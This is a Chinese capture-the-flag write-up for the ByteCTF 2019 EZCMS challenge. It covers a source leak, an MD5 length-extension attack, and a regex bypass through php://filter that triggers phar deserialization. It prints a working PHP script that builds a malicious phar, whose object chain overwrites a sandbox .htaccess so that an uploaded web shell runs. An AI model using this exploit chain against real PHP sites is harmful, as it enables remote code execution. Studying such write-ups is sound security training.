刷题记录:[ByteCTF 2019]EZCMS

题目复现链接:https://buuoj.cn/challenges

参考链接:ByteCTF_2019&XNUCA_2019部分web题复现

一、知识点

1、源码泄露

访问www.zip获取源码

2、MD5长度扩展攻击

之前涉及过了

3、php://filter绕过正则实现phar反序列化

就算知道是这个思路,自己也做不出来。。。

这里上传shell没有问题,阻碍是.htaccess被乱写导致解析不了,所以我们的目的是重写或者干脆删除.htaccess

首先要知道源码中preg_match('/^(phar|compress|compose.zlib|zip|rar|file|ftp|zlib|data|glob|ssh|expect)/i', $this->filepath)的过滤是可以绕过的,最后访问phar://时可以访问php://filter/resource=phar://

最后的phar脚本如下

<?php

class File{

    public $filename;
public $filepath;
public $checker; function __construct()
{
// $this->checker=new Admin();
$this->checker=new Profile(); } } class Profile{
public $username;
public $password;
public $admin; function __construct()
{
$this->admin = new ZipArchive();
$this->username = "/var/www/html/sandbox/fd40c7f4125a9b9ff1a4e75d293e3080/.htaccess";
$this->password = ZipArchive::OVERWRITE;
} function __call($name, $arguments)
{
$this->admin->open($this->username, $this->password);
}
} $a = new File('Lethe','Lethe');
@unlink("1.phar");
$phar = new Phar("1.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

最新文章

  1. Web端权限管理新增实用功能:批量增加操作,简单方便快速!
  2. Java的对象初始化过程
  3. PCL 库安装
  4. ubuntu搭建pyqt5开发环境
  5. SQL Server - select语句练习
  6. 笔试测试开发题三道(python)
  7. 使用div创建选取框
  8. phpcms v9模版调用代码大全(全面而实用)
  9. 常用公共的css的样式
  10. ASIFormDataRequest实现post的代码示例
  11. Unity3d之Socket UDP协议
  12. [Swust OJ 603]--吃饺子大王
  13. SSIS从理论到实战,再到应用
  14. Android中支持的距离单位
  15. (数字IC)低功耗设计入门(二)——功耗的分析
  16. 图解CSS3-flex布局
  17. Python开发——9.面向对象编程
  18. STL概论
  19. SQL优化:
  20. C# 版本和.NET 版本以及VS版本的对应关系

热门文章

  1. ES6 新增基本数据类型Symbol
  2. 英语DIAMAUND钻石指坚硬不可侵犯的物质
  3. 无法将“ng”项识别为 cmdlet、函数、脚本文件或可运行程序的名称。 通用解决方案
  4. AXURE RP EXTENSION For Chrome----解决办法
  5. CentOS7.6编译安装redis5.0
  6. Linux shell脚本基础学习详细介绍(完整版)一
  7. 分析第一个Android程序
  8. LeetCode 1000. Minimum Cost to Merge Stones
  9. S1_搭建分布式OpenStack集群_03 Mysql、MQ、Memcached、ETCD安装配置
  10. 如何用okr做好目标规划